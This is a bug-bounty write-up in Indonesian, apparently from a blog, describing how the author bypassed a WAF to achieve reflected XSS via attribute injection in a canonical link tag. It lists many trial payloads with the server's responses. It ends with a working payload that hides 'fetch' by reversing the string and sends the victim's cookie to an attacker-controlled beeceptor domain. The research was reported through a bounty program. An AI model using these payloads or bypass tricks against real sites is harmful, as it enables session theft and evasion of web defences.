It was hard for me to finally bypass this.
Semua ini berawal dari hasil scan menggunakan nuclei yang menunjukkan adanya kerentanan reflected XSS di endpoint berikut: “https://redacted.tld/path/path/uuid%22%3E%3C667711%3E/u-u-i-d”. Namun, temuan tersebut ternyata merupakan false positive. Payload yang dihasilkan oleh nuclei merefleksikan pada tag <link> dan <meta>, dan masuk sebagai value variabel JavaScript yang sudah terfilter menjadi HTML Entities. Selain itu, terdapat mekanisme escape ketika payload yang diinputkan mengandung double quote (\”), sehingga tidak mungkin menutup tag yang ada dengan payload yang ter-reflect.

Seketika, saya teringat seorang di platform X yang memposting tentang penggunaan payload XSS dengan double quote dan space (“ ) yang dapat dirender di halaman web sebagai atribut baru pada tag HTML [1]. Misalnya, jika dimasukan payload “ testattr=”, maka akan menjadi attribut baru yang valid : <link rel=”canonical” href=”https://redacted.tld/path/path/uuid” testattr=”/uuid” />

Sampai pada titik ini, seharusnya kita sudah tau arah nya mau kemana. Benar, kita bisa menggunakan atribut-atribut seperti onclick, onload, onerror, dan sebagainya. Namun, karena ini berkaitan dengan tag <link>, atribut yang dapat digunakan sebagai event handler yang saya temukan hanya onclick [2].
Saya mulai menyusun payload mulai dari paling sederhana seperti berikut:
Payload | Response
" onclick=" > forbidden
" onx=xx onclick=" > forbidden
" onx="xx > <link rel="canonical" href="https://../path/path/uuid" onx="xx/uuid" />
" autofocus onclick=" > forbidden
" x= onclick=" > Notfound > itu akan meredirectkan ke sini https://.../path/path/xxx%22%20x=%20&
Payload setelah simbol & akan hilang dan membuat url tidak valid
" x> onclick="tes > <link rel="canonical" href="https://../path/path/uuid" x> onclick="tes/uuid" />

Payload di atas berhasil membypass waf tapi apa fungsinya onclick ketika attribut tersebut tidak terbaca sebagai html justru text. Melihat response tersebut, tag <meta> justru berhasil ditutup, bagaimana kalau kita buat tag baru setelah ‘x>’ ?
kita coba dengan payload “ x><img> onclick=”x, haha langsung forbidden (Berkelahi dengan waf). Waf in my mind :

Bagaimana jika dengan “ x><> onclick=”x, hal tersebut menimbulkan perilaku baru pada response html, Karakter ‘><>’ akan menjadi HTML Entities, WAF terbypass dan onclick menjadi atribut yang valid. Magic! dengan <> kita berhasil melewati WAF?.

Ya selanjutnya kita hanya perlu sedikit bumbu penyedap agar menjadi payload yang matang dengan sempurna sehingga onclick dapat berfungsi. Kita coba dengan payload berikut :
" ><> accesskey="x" onclick="alert" x"
Resp : <link rel="canonical" href="https://../path/path/uuid" x><> accesskey="x" onclick="alert" x"/uuid" />
" ><> accesskey="x" onclick="alert()" x" > Forbidden
" ><> accesskey="x" onclick="alert``" x" > Forbidden
" ><> accesskey="x" onclick="prompt()" x" > Forbidden
" ><> accesskey="x" onclick="prompt``" x" > Forbidden
" ><> accesskey="x" onclick="console.log(1)" x" > Forbidden
" ><> accesskey="x" onclick="fetch()" x" > Forbidden
" ><> accesskey="x" onclick="console.error(1)" x" > Resp : <link rel="canonical" href="https://../path/path/uuid" x><> accesskey="x" onclick="concole.error(1)" x"/uuid" />
" ><> accesskey="x" onclick="console.error(cookie)" x" > Resp : <link rel="canonical" href="https://../path/path/uuid" x><> accesskey="x" onclick="concole.error(cookie)" x"/uuid" />
Kedua payload di atas berfungsi, tetapi tunggu dulu. Jika kita hanya melaporkan hal itu, maka akan dianggap sebagai Self XSS. Lalu, bagaimana cara kita mengirim informasi dari victim, seperti cookie, localStorage, atau data lainnya ke attacker? Kita bisa menggunakan fetch, namun ini juga forbidden. Saya sudah sempat bertanya juga ke temen-temen, saya menyerah dan akhirnya melaporkan XSS tersebut dengan dalih “Kondisi seperti itu sangat memungkinkan untuk melakukan serangan lebih lanjut, untuk membuat full payload hanya tinggal menunggu waktu.”

Saya buktikan ucapan itu, sembari mengunggu laporan diresponse, 2–3 hari saya memantau X untuk mendapatkan update payload XSS bypass waf. sampai dimana saya mendapati seorang memposting berhasil membypass waf dengan cara mereverse text [3]. Sayapun mencoba hal yang sama dan disini kita berhasil melakukan fetch.

Belum selesai di situ, langkah selanjutnya adalah membuat payload lengkap untuk melakukan request ke domain attacker dengan menyertakan cookie. Pastikan juga untuk melakukan fetch yang benar dengan menyertakan protokol pada domain attacker, menggunakan format ‘//’ atau ‘https://’. Namun disini tantangannya, jadi ketika terdapat ‘/’ pada payload maka akan membuat halaman menjadi notfound, karena uuid setelah ‘/’ tidak dianggap valid.

Terakhir, saya ingat bahwa kita bisa mengakses informasi seperti URL saat ini, domain, dan path dengan menggunakan JavaScript, contohnya dengan document.domain ataupun yang lainnya. Kemudian, saya berpikir tentang bagaimana cara untuk membuat karakter ‘https://’ menggunakan JavaScript? [4]. Saya telah menemukan referensi tersebut sehingga berikut final payload yang dapat digunakan untuk mencuri cookie / localstorage milik victim menggunakan fetch.
Payload :
" <> accesskey="x" onclick="x='hctef'.split('').reverse().join('');self[x](location.origin.split(location.host)[0]+'leakinformation.free.beeceptor.com'+location.pathname[0]+'cookie='+cookie);" x"
Resp :
<link rel="canonical" href="https://../path/path/uuid" <> accesskey="x" onclick="x='hctef'.split('').reverse().join('');self[x](location.origin.split(location.host)[0]+'leakinformation.free.beeceptor.com'+location.pathname[0]+'cookie='+cookie);" x"/uuid" />

Selesai, lalu saya kembali mengirimkan payload tersebut pada komentar laporan, namun belum beruntung temuan itu ditandai sebagai duplikat. Tidak masalah.

Conclusion
Anda perlu memahami bahwa kondisi ini tidak selalu terbatas pada reflected XSS dan tag <link>. Ada juga kemungkinan terjadinya stored XSS, di mana sering kali sebuah situs web menggunakan kembali input pengguna sebagai output untuk mengisi nilai atribut seperti title, alt, dan sebagainya. Hal ini dapat memungkinkan inject payload sebagai atribut baru pada HTML. Tidak pernah tahu kapan mereka (developer) terlewat melakukan sanitasi di sistem yang komplek, semoga beruntung dalam hunting!
Thank you, see you in the next story.
Reference:
[1] XSS Tip: Try injecting spaces! They can sometimes turn into “ in HTML attributes. https://x.com/comores_11/status/1841874109677907971
[2] Lab: Reflected XSS in canonical link tag. https://portswigger.net/web-security/cross-site-scripting/contexts/lab-canonical-link-tag
[3] If the WAF doesn’t allow the creation of a JavaScript term like ‘alert’ or ‘confirm’ in any way, write it inverted and then use reverse() with self[]. https://x.com/erickfernandox/status/1845901672414945283
[4] Get protocol, domain, and port from URL. https://stackoverflow.com/questions/6941533/get-protocol-domain-and-port-from-url